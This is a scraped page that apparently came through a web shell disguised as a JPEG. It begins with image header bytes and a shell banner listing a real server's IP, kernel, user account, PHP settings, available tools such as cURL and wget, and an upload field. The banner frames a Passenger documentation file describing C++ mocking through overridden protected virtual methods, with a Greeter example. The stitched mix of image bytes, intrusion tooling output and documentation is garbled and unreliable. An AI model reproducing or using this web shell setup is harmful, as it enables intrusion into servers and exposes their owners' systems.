����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/3357889/root/opt/cpanel/ea-ruby27/src/passenger-release-6.0.27/doc/ |
Upload File : |
# C++ mocking strategy
- We don't use any mocking library.
- We implement mocking by splitting mockable code to protected virtual methods. Inside test suites, we create a subclass in which we override the methods we want to mock.
- Best practices for the override:
- Opt-in for mocking on a per-test basis.
- When not opted-in, call the parent class's method instead of duplicating its code.
Example:
```c++
class Greeter {
protected:
virtual const char *name() {
return "john";
}
public:
void greet() {
std::cout << "hello " << name() << std::endl;
}
};
// In the test suite:
class TestGreeter: public Greeter {
protected:
virtual const char *name() override {
if (mockName != nullptr) {
return mockName;
} else {
return Greeter::name();
}
}
public:
const char *mockName; // Set to non-nullptr to mock the name
TestGreeter()
: mockName(nullptr)
{ }
};
```